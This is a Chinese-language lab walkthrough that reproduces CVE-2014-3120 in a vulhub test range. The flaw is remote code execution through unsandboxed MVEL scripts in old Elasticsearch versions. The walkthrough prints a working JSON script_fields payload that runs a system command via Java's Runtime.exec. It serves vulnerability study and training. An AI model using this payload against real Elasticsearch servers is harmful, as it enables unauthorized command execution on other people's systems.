漏洞原理
老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。
知识点普及:
1、Elasticsearch,是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。
2、Lucene,是apache软件基金会4 jakarta项目组的一个子项目,是一个开放源代码的全文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构,提供了完整的查询引擎和索引引擎,部分文本分析引擎。
3、沙盒,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。沙盒通常严格控制其中的程序所能访问的资源,所有改动对操作系统不会造成任何损失。
实验环境
一、靶机:
系统:ubuntu搭建的测试靶场
IP:192.168.88.129
二、攻击机:
系统:win10
IP:192.168.88.137
漏洞环境
启动ecshop:
环境启动后,可在浏览器页面成功访问
注:JSON是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。
漏洞复现
一、用burp抓包
二、利用该漏洞之前,es至少需要存在一条数据,通过以下请求包创建数据:
注:
1、利用POST方式提交数据
2、文件名字任意
3、浏览器的原生 form 表单,如果不设置 enctype 属性,那么其中Content-Type字段最终会以 application/x-www-form-urlencoded 方式提交数据。
而对于"application/x-www-form-urlencoded",其参数组织形式是"键值对"。
三、利用命令执行漏洞,将一段java代码放进去
java代码:
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"command": {
"script":"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
显示如下:
注:
在任意的查询字符串中增加pretty参数,会让Elasticsearch美化输出,JSON响应以便更加容易阅读。
参考链接:
https://vulhub.org/#/environments/elasticsearch/CVE-2014-3120/